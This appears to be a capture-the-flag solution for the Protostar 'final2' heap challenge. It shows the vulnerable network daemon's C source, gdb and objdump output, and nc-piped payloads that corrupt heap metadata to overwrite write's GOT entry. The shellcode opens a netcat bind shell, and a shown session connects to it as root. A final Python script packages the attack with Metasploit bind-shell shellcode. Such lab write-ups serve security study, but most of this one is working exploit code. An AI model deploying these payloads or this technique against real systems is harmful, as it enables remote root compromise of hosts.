#include "../common/common.c"
#include "../common/malloc.c"

#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993

#define REQSZ 128

void check_path(char *buf)
{
char *start;
char *p;
int l;

/*
* Work out old software bug
*/

p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
"yes" : "no", start - buf);
}
}
}

int get_requests(int fd)
{
char *buf;
char *destroylist[256];
int dll;
int i;

dll = 0;
while(1) {
if(dll >= 255) break;

buf = calloc(REQSZ, 1);
if(read(fd, buf, REQSZ) != REQSZ) break;

if(strncmp(buf, "FSRD", 4) != 0) break;

check_path(buf + 4);

dll++;
}

for(i = 0; i < dll; i++) {
write(fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
}

int main(int argc, char **argv, char **envp)
{
int fd;
char *username;

/* Run the process as a daemon */
background_process(NAME, UID, GID);

/* Wait for socket activity and return */
fd = serve_forever(PORT);

/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);

get_requests(fd);

}

user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ 'A'*103 + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff'+'B'*4+'C'*4" | nc 127.0.0.1 2993

(gdb) i r edx
edx 0x43434343 1128481603
(gdb) i r eax
eax 0x42424242 1111638594

(gdb) x/50x 0x0804e090
0x804e090: 0x0804d410 0x0804e098 0x41414141 0x41414141
0x804e0a0: 0x0804d410 0x41414141 0x41414141 0x41414141
0x804e0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0f0: 0x41414141 0x41414141 0x41414141 0x2f414141

user@protostar:/opt/protostar/bin$ objdump -R ./final2 | grep write
0804d41c R_386_JUMP_SLOT write
0804d468 R_386_JUMP_SLOT fwrite

user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ '\x90'*44 + '\x31\xc0\x50\x68\x6e\x2f\x6e\x63\x68\x2f\x2f\x62\x69\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31\xd2\xcd\x80' + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff' + '\x10\xd4\x04\x08'+'\x98\xe0\x04\x08'" | nc 127.0.0.1 2993
Process OK

D:\>nc 192.168.0.71 6666
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exit

#!/usr/bin/env python

from socket import *
from struct import *
from optparse import OptionParser

def exploit(host, port):

# linux/x86/shell_bind_tcp - 78 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependChrootBreak=false, AppendExit=false,
# InitialAutoRunScript=, AutoRunScript=
shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
"\x0b\xcd\x80"

# Open the connection
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))

req_size = 128
HDR = 'FSRD'
NOP = '\x90'
free_payload = '/' + '\xf8\xff\xff\xff' + '\xfc\xff\xff\xff'
free_payload += '\x10\xd4\x04\x08' + '\x98\xe0\x04\x08'

first_req = HDR + 'A'* (req_size - len(HDR) - 1) + '/'
second_req = HDR + 'ROOT'
second_req += NOP * (req_size - len(HDR) - 4 - len(shellcode) - len(free_payload))
second_req += shellcode
second_req += free_payload

s.send(first_req+second_req)

s.close

print("[*] Exploit successfull! Now launch: nc " + str(host) + " 4444")

if __name__ == "__main__":
parser = OptionParser("usage: %prog [options]")
parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1", type="string", help="Target to exploit")
parser.add_option("-p", "--port", dest="portnum", default=2993, type="int", help="Target port")

(options, args) = parser.parse_args()

exploit(options.hostname, options.portnum)